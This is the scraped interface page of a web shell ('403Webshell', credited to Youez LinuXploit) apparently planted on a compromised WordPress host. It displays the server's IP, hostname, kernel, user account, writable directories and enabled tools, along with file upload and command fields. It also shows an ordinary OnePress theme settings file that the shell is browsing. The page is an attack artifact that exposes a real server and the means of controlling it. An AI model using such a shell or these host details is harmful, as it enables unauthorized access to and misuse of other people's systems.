403Webshell
Server IP : 216.106.184.20  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux asmodeus.in-hell.com 5.14.0-570.58.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 29 06:24:11 EDT 2025 x86_64
User : sekoaid1 ( 1891)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sekoaid1/www/wp-content/themes/onepress/inc/customize-configs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/sekoaid1/www/wp-content/themes/onepress/inc/customize-configs/options-blog-posts.php
<?php
/**
 * Blog Post Settings
 * 
 * @package onepress
 *
 * @since 2.1.0
 * @since 2.2.1
 */

$wp_customize->add_section(
	'onepress_blog_posts',
	array(
		'priority'    => null,
		'title'       => esc_html__( 'Blog Posts', 'onepress' ),
		'description' => '',
		'panel'       => 'onepress_options',
	)
);

$wp_customize->add_setting(
	'onepress_disable_archive_prefix',
	array(
		'sanitize_callback' => 'onepress_sanitize_checkbox',
		'default'           => '',
	)
);
$wp_customize->add_control(
	'onepress_disable_archive_prefix',
	array(
		'type'        => 'checkbox',
		'label'       => esc_html__( 'Disable archive prefix', 'onepress' ),
		'section'     => 'onepress_blog_posts',
		'description' => esc_html__( 'Check this to disable archive prefix on category, date, tag page.', 'onepress' ),
	)
);

$wp_customize->add_setting(
	'onepress_hide_thumnail_if_not_exists',
	array(
		'sanitize_callback' => 'onepress_sanitize_checkbox',
		'default'           => '',
	)
);
$wp_customize->add_control(
	'onepress_hide_thumnail_if_not_exists',
	array(
		'type'        => 'checkbox',
		'label'       => esc_html__( 'Hide thumbnail placeholder', 'onepress' ),
		'section'     => 'onepress_blog_posts',
		'description' => esc_html__( 'Hide placeholder if the post thumbnail not exists.', 'onepress' ),
	)
);

Youez - 2016 - github.com/yon3zu
LinuXploit